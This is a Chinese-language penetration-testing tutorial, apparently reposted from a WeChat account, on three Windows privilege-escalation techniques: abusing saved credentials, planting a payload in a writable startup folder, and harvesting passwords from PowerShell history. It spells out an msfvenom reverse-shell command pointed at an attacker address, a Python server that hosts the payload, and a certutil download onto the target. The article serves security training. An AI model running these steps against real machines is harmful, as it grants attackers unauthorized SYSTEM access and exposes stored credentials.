欢迎回到本系列的新部分。《Windows 权限提升(基础到高级)0x2》查看本系列的前一部分。
在这一部分中,我们将介绍 3 项新技术。
06 Saved Credits保存凭据
理论
当您登录资源并选择保存凭据时,Windows 将它们安全地存储在凭据管理器中。这是 Windows 操作系统的一个组件,用于管理凭据并允许用户查看、编辑和删除已保存的凭据。
保存凭据是一项功能,允许用户安全地存储各种资源(例如网站、网络共享或远程服务器)的登录信息,这样他们就不必在每次访问这些资源时输入用户名和密码。
利用Saved Credits方法来提权很简单;前提条件:必须保存一个高权限帐户的凭据。
1. 在目标系统中运行“cmdkey /list”命令,或WIN+R -> control keymgr.dll,列出凭据管理器中保存的所有凭据。
2. 如果我们找到任何更高权限的帐户,那么我们可以使用这些凭据执行具有该权限的命令。
实践
首先,让我们将保存在凭据管理器中所有凭据列举出来,我是通过命令完成的,我们也可以从 GUI 执行相同的过程。
好的,我们找到了 2 个凭据。让我们解释一下这些凭据的格式。注意:第一个凭据默认存在于 Windows 操作系统中,因此我不打算定义其格式。
第二个凭据的格式
Target:此条目与 Windows 域环境中的目标关联。目标是“Domain:interactive”,似乎链接到“WIN-QBA94KB3IOF”域,在交互式会话的上下文中使用用户帐户“admin”。
Type:凭据类型为“域密码”,表明这些凭据特定于在 Windows 域环境中使用域控制器进行身份验证。
User:此凭据条目的关联用户名是“WIN-QBA94KB3IOFadmin”,表示它是具有管理权限的域用户帐户。
我们得到的帐户不仅是基本帐户,而且是具有“域管理员权限”的帐户。它为攻击提供了很多可能性。我们可以使用它们在目标的域网络中执行任何操作,但这里只是为了进行PoC验证,让我们运行反向 shell 代码来获取具有“域管理员”权限的目标 shell。
07 自启动应用程序
理论
自启动应用程序可以定义为在计算机启动时自动启动的应用程序。这些应用程序设计为在您登录用户帐户时在后台运行。常见自启动应用程序的一些示例包括防病毒软件、即时通讯客户端、云存储服务、Windows 更新和系统实用程序。
利用自启动的方法来提权很简单;前提条件:自启动应用程序目录的权限必须被破坏,或者自启动应用程序中的二进制文件的权限被破坏。
1.枚举所有自启动应用程序。我们有两种类型的自启动应用程序目录。
用户自启动应用程序目录
"C:Users<用户名>AppDataRoamingMicrosoftWindows开始菜单程序启动"
注意:每个用户都有自己的自启动应用程序目录,该目录以其权限运行并且每个用户将仅运行其自启动应用程序目录中可用的任何内容。
系统自启动应用程序目录
"C:ProgramDataMicrosoftWindows开始菜单程序启动"
注意:系统层面的自启动应用程序的目录,它的工作原理与前一个相同,但它适用于所有用户,因此每当任何用户登录时它都会触发。另外,因为它应用于整个系统,所以它以“SYSTEM”权限运行,因此这里的每个二进制文件都以“SYSTEM”权限运行。
2.检查您是否具有覆盖某些自启动应用程序的二进制文件的写入权限,或者检查存储自启动应用程序的目录中是否启用了“FILE_ALL_ACCESS”权限。
3.修改原始程序的二进制文件(有效负载.exe名称必须与原始.exe相同),或在自启动应用程序目录中创建有效负载
4.等待用户登录活动触发您的有效负载以获得该特定用户的权限(用于用户自启动应用程序)或获得SYSTEM 权限(用于系统自启动应用程序目录)
实践
检查整个系统中所有的自启动应用程序目录。
autorunsc.exe -m -nobanner -a * -ct /accepteula
sysinternals 工具,用于枚举启动和自动运行应用程序所在的所有路径。我们发现“系统自启动应用程序目录”上设置了损坏的权限。
所有内置/用户组成员在此目录上都具有“FULL_ACCESS”
BUILTINUsers(Windows 中的默认组,向本地用户授予基本访问权限(允许执行基本任务和访问公共资源),同时确保他们没有系统的完全管理权限。在系统上创建的任何本地用户帐户都会自动该组的成员。
因此,让我们通过 msfvenom 创建一个反向 shell 并将其放入系统自启动应用程序目录中。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<攻击者 IP> LPORT=<攻击者端口> -f exe -o rev-shell.exe
让我们通过 Python HTTP 服务器托管它
python3 -m http.server <攻击者端口> -b <攻击者IP> -d ~/Downloads
在目标处,客户端使用 certutil 工具下载此有效负载并将其放入“C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp”目录中。
现在您可以执行以下操作来触发有效负载。
1.等待系统重新启动或重新启动(通常,我们在真实渗透测试/红队模拟中执行此操作,但这需要时间)
2.等待用户的登录活动登录(从会话中注销用户并等待他的登录活动。不会花费时间,但有时会令人生疑)。
3.自己动手(如果知道任何用户或特定用户的密码,则自行执行注销和登录技术)。
在这里,我们执行第三种方法来加快过程并进行学习模拟。
从锁定屏幕再次登录任何帐户。
“在 Windows 中注销是指结束用户会话并返回到 Windows 登录屏幕的过程。当您注销时,所有打开的文件、程序和进程都将关闭,系统返回到登录屏幕,其他用户可以在其中登录,或者当前用户可以重新登录。”
正如您所看到的,当我们再次登录时,系统将运行自启动应用程序文件夹中设置的所有程序,5-15 秒后,我们将获得“SYSTEM”权限。
08 Powershell 历史
理论
在 PowerShell 中,多个实用程序监视或记录运行的所有 PS 命令,他们之中有一些是:
1.命令历史记录:PowerShell 命令历史记录,它是您在当前会话期间执行过的命令的列表。此历史记录允许您查看和访问以前执行的命令,而无需重新输入它们。
2.转录日志:允许您将 PowerShell 会话的所有输入和输出记录到文件中。转录日志不仅捕获您执行的命令,还捕获这些命令的结果以及会话期间生成的任何输出或错误。
3.PSReadLine负责提供增强的命令行编辑和历史记录功能,包括语法突出显示、多行编辑和改进的命令历史记录导航等功能。ConsoleHost_history.txt:由其管理的简单文本文件,存储当前用户的 PowerShell 会话的命令历史记录。
利用Powershell历史记录提权很简单;检查所有 PS 历史文件以查找有用信息,例如凭据和其他配置信息。
PS 会话中运行的所有命令,并且它是非持久性的(意味着仅在 PS 会话期间保持持久性)
dir /s “PowerShell_transcript_logs”:列出在任何PS会话中运行的所有PS命令(它保存所有过去的PS会话数据)。
dir /s “ConsoleHost_history.txt”:显示在任何会话中运行的所有命令(从 C: 运行),但它将所有 PS 会话中的所有命令保存在一个文件中并且仅保存命令。
实践
检查所有 PS 历史日志文件。当前没有 PS 会话在目标系统中运行,因此“get-history”在这里毫无用处,转录日志服务也没有运行,所以让我们看看是否有“ConsoleHost_history.txt”。
我们确实找到了,所以让我们检查一下,看看我们是否可以获得任何有用的信息。
看起来用户使用了“cmdkey”命令并在其中传递了他的密码。我们可以在“runas”中使用这些凭据来生成进程或启动具有这些用户权限的程序。
参考及来源:
https://infosecwriteups.com/privileges-escalation-techniques-basic-to-advanced-for-windows-5f1d4e8d8c01
免责&版权声明
原文始发于微信公众号(安全小白团):Windows 权限提升(基础到高级)0x3
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论